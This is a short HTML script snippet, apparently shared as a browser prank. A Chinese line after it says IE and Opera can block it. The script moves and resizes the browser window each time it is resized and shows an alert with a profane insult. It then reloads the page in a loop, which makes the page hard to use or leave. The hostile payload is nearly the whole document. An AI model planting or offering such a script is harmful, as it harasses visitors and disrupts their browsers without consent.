<script>var a=c=window.screen.availWidth,b=d=window.screen.availHeight;function X(){self.moveTo(a/2,b/2);self.resizeTo(c-a+(new Date()).getSeconds(),d-b);}window.onresize=X;X();alert("Fuck Off ! ");a/=3;b/=4;X();window.history.go(0);</script>
但是IE和Opera就可以阻止
